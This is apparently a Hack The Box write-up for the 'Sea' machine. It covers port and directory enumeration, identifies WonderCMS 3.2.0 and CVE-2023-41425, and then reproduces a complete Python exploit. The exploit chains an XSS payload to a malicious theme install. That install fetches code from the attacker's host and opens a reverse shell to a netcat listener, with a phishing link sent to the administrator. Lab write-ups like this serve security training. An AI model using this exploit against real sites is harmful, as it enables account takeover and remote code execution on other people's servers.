HTB- Sea

Shrijalesmali

4 min readDec 7, 2024

Enumeration:

Identifing the open ports using nmap

Here, we can see that there are two open ports i.e 80/tcp (http) and 22/tcp (ssh). Let’s go to the browser…

Opening http://sea.htb/contact.php, we find that it is a POST form with a PHP server at the backend:

The page was opening normally but while i was going to contact option, it was giving error. so i have put the ip address and the utlto the /etc/hosts file.

2. Service Enumeration:

Gathering detailed information about identified services, There are many tools like nikton, gobuster but i’m using ffuf

The contents of the README.md tells us that it’s a WonderCMS installation with the “bike” theme:

3. Vulnerability Research:

The version files indicate that the CMS is running version 3.2.0. A online search shows that this version is affected by CVE-2023–41425, which is a Cross-Site Scripting vulnerability. This flaw enables a remote attacker to execute arbitrary code by uploading a malicious script through the installModule component.

Get Shrijalesmali’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

4. Exploitation:

I have used this script, from online

import sys
import requests
import os

# Ensure BeautifulSoup is imported if needed later.
try:
    from bs4 import BeautifulSoup
except ImportError:
    print("[!] BeautifulSoup is not installed. Install it with 'pip install beautifulsoup4'.")
    sys.exit(1)

# Helper function for printing usage
def print_usage():
    print("Usage: python3 exploit.py <loginURL> <IP_Address> <Port>")
    print("Example: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")

def download_file(url, output_path):
    if os.path.exists(output_path):
        print(f"[+] The file already exists at: {output_path}. It will not be downloaded again.")
        return

    try:
        print(f"[+] Downloading file from {url}")
        response = requests.get(url, stream=True)
        response.raise_for_status()  

        with open(output_path, "wb") as file:
            for chunk in response.iter_content(chunk_size=8192):
                file.write(chunk)

        print(f"[+] [+] File saved to: {output_path}")
    except requests.RequestException as e:
        print(f"[!] Error downloading the file: {e}")


url = "https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip"
output_path = "revshell-main.zip"
download_file(url, output_path)

# Ensure correct arguments are provided
if len(sys.argv) != 4:
    print_usage()
    sys.exit(1)

# Input arguments
login_url = sys.argv[1]
ip_address = sys.argv[2]
port = sys.argv[3]

# JavaScript payload template
data = f'''
// Exploit script for XSS to RCE
var targetURL = "{login_url}"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var exploitURL = targetURL + "/?installModule=http://{ip_address}:8000/revshell-main.zip&directoryName=violet&type=themes&token=" + token;

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", exploitURL);
xhr.send();
xhr.onload = function()
''' + """{"""+ '''
    if (xhr.status == 200) ''' + """{"""+ f'''
        var revShellURL = targetURL +"/themes/revshell-main/rev.php?lhost={ip_address}&lport={port}";
        var xhr2 = new XMLHttpRequest();
        xhr2.withCredentials = true;
        xhr2.open("GET", revShellURL);
        xhr2.send();
        '''+ """
    }
};
"""

try:
    # Write the JavaScript payload to a file
    with open("xss.js", "w") as f:
        f.write(data)
    print("[+] xss.js created successfully.")

    # Provide instructions for the user
    print("[+] Start a listener using the following command:")
    print(f"    nc -lvp {port}")
    
    # Generate the XSS link to send to the admin
    xss_link = (
        f"{login_url.replace('loginURL', 'index.php?page=loginURL?')}\"></form>"
        f"<script src='http://{ip_address}:8000/xss.js'></script><form action=\""
    )
    print("[+] Send the following link to the admin:")
    print(xss_link)

    # Start a simple HTTP server to serve the payload
    print("[+] Starting HTTP server to serve xss.js.")
    os.system("python3 -m http.server 8000")

except Exception as e:
    print(f"[!] An error occurred: {e}")

We need to create a file named xss.js, which will contain a specially crafted JavaScript payload for an XSS attack. First, we should use the provided login URL to extract a security token from the HTML. We can find this token in the input field identified by its name attribute. After obtaining the token, we will construct a new URL to activate the install Module functionality.

Here the exploit.py will automatically download the revshell file and using python3 intrepreter we need to pass the exploit and the ‘target url’